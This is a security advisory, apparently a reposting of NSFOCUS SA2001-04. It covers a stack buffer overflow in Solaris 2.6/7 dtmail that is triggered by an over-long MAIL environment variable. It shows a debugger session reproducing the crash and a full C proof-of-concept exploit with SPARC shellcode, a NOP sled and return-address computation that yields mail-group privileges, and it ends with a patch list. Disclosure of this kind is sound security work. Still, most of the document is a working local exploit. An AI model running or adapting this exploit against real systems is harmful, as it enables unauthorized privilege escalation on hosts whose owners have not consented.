|
COMMAND dtmail SYSTEMS AFFECTED Solaris 2.6, 7 PROBLEM Following is based on a NSFOCUS Security Advisory SA2001-04. NSFOCUS Security Team has found a buffer overflow vulnerability in the dtmail of Solaris handling MAIL environment variable, exploitation of which could allow an attacker to run arbitrary code with the privilege of mail group. dtmail is a mail user agent (MUA) shipped as a part of Solaris CDE. It is installed setgid mail by default. The vulnerability results because dtmail do not provide valid boundary check to certain environment variables, which allows an attacker to launch a buffer overflow attack. In case that the MAIL environment variable is a over-length character string (for instance, longer than 1500 bytes), a stack buffer overflow would occur. The attacker could overwrite the returned address and run arbitrary code with mail group privilege. [test@ /tmp]> uname -a SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10 [test@ /tmp]> showrev -p|grep 107200-12 Patch: 107200-12 Obsoletes: Requires: 108374-01, 107887-08 Incompatibles: Packages: SUNWdtdst, SUNWdtma [test@ /tmp]> ls -l /usr/dt/bin/dtmail -r-xr-sr-x 1 bin mail 1553244 Jun 12 2001 /usr/dt/bin/dtmail* [test@ /tmp]> cp /usr/dt/bin/dtmail . [test@ /tmp]> export DISPLAY=127.0.0.1:0.0 [test@ /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL [test@ /tmp]> ulimit -c 200000 [test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail [A dtmail dialog box would prompt out in your X window, click "Local"] [test@ /tmp]> ls -l core -rw------- 1 test users 1991892 Jun 22 11:47 core [test@ /tmp]> dbx ./dtmail ./core ... Reading dtmail core file header read successfully Reading ld.so.1 Reading libSDtMail.so.2 Reading libnsl.so.1 Reading libsocket.so.1 .... Reading libXext.so.0 Reading libc_psr.so.1 detected a multithreaded program t@1 (l@1) terminated by signal BUS (invalid address alignment) dbx: core file read error: address 0x41414161 not in data space dbx: attempt to read stack failed - bad frame pointer 0x001013e4: solaris_valid+0x002c: ret (/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx) A proof of concept code for this issue: /* * sol_sparc_dtmail_MAIL_ex.c - Proof of Concept Code for dtmail $MAIL overflow bug. * * Copyright (c) 2001 - Nsfocus.com * * It will run "/bin/id" if the exploit succeed. * Tested in Solaris 2.6/7 (SPARC). * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <stdlib.h> #include <sys/systeminfo.h> #include <pwd.h> struct passwd *pwd;; #define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */ #define DISPENV "DISPLAY=127.0.0.1:0.0" #define VULPROG "/usr/dt/bin/dtmail" #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ char shellcode[] = "\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e" "\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec" "\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; /* get current stack point address */ long get_sp(void) { __asm__("mov %sp,%i0"); } long get_shelladdr(long sp_addr, char **arg, char **env, long off) { long retaddr; int i; char plat[256]; char pad = 0, pad1 = 0, pad2; int env_len, arg_len, len; while (1) { /* calculate the length of "VULPROG" + argv[] */ for (i = 0, arg_len = 0; arg[i] != NULL; i++) { arg_len += strlen(arg[i]) + 1; } /* calculate the pad nummber . */ pad = 3 - arg_len % 4; memset(env[0], 'A', pad); env[0][pad] = '\0'; memset(env[2], 'A', pad1); env[2][pad1] = '\0'; /* get environ length */ for (i = 0, env_len = 0; env[i] != NULL; i++) { env_len += strlen(env[i]) + 1; } /* get platform info */ sysinfo(SI_PLATFORM, plat, 256); len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; pad2 = 4 - len % 4; /* get the exact shellcode address */ retaddr = sp_addr - pad2 /* the trailing zero number */ - strlen(VULPROG) - 1 - strlen(plat) - 1; for (i--; i > 0; i--) retaddr -= strlen(env[i]) + 1; if (!((retaddr + off) & 0xff)) { pad1 += 8; continue; } else if ((retaddr + off) % 8) { pad1 += 4; continue; } else break; } return retaddr; } /* End of get_shelladdr */ int main(int argc, char **argv) { char buf[4096], home[128], display[256]; char eggbuf[2048]; long retaddr, sp_addr = SP; char *arg[24], *env[24], *cwd, *charptr; char padding[64], padding1[64]; unsigned int *ptr; char *disp; char ev1[] = "MAIL="; long ev1_len, i, align; long overbuflen = 2048; if (argc > 1) snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]); else { disp = getenv("DISPLAY"); if (disp) snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp); else strncpy(display, DISPENV, sizeof(display) - 1); } pwd = getpwuid((uid_t) getuid()); snprintf(home, 127, "HOME=%s", strdup(pwd->pw_dir)); arg[0] = VULPROG; arg[1] = NULL; cwd = getcwd((char *) NULL, 256); overbuflen = overbuflen - (strlen(cwd) + strlen("/")); ev1_len = strlen(ev1); bzero(buf, sizeof(buf)); memcpy(buf, ev1, ev1_len); memset(buf + ev1_len, 'A', overbuflen); bzero(eggbuf, sizeof(eggbuf)); ptr = (unsigned int *) eggbuf; for (i = 0; i < sizeof(eggbuf) - strlen(shellcode); i += 4) *(ptr + i / 4) = NOP; memcpy(eggbuf + i - 4, shellcode, strlen(shellcode)); env[0] = padding; /* put padding buffer in env */ env[1] = eggbuf; /* put shellcode in env */ env[2] = padding1; /* put padding1 buffer in env */ env[3] = buf; /* put overflow environ */ env[4] = display; /* put display environ */ env[5] = home; /* put home environ */ env[6] = NULL; /* end of env */ /* get stack bottom address */ if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */ sp_addr = SP - 0x0fbf0000; } retaddr = get_shelladdr(sp_addr, arg, env, -8); retaddr -= 8; printf("Using return address = 0x%x (shelladdrr - 8)\n", retaddr); printf("Click Local in your X window\n\n"); charptr = (char *) &retaddr; align = 4 - ((strlen(cwd) + strlen("/")) % 4); for (i = 0; i < overbuflen - align; i++) buf[ev1_len + align + i] = *(charptr + i % 4); execve(VULPROG, arg, env); perror("execle"); } /* End of main */ SOLUTION Solaris 2.6 with the following patches is not affected: SunOS 5.6 SPARC : 105338-27 SunOS 5.6 x86 : 105339-25 Solaris 7 with the following latest patches is still affected: SunOS 5.7 SPARC : 107200-12 SunOS 5.7 x86 : 107201-12 Solaris 8 is not affected.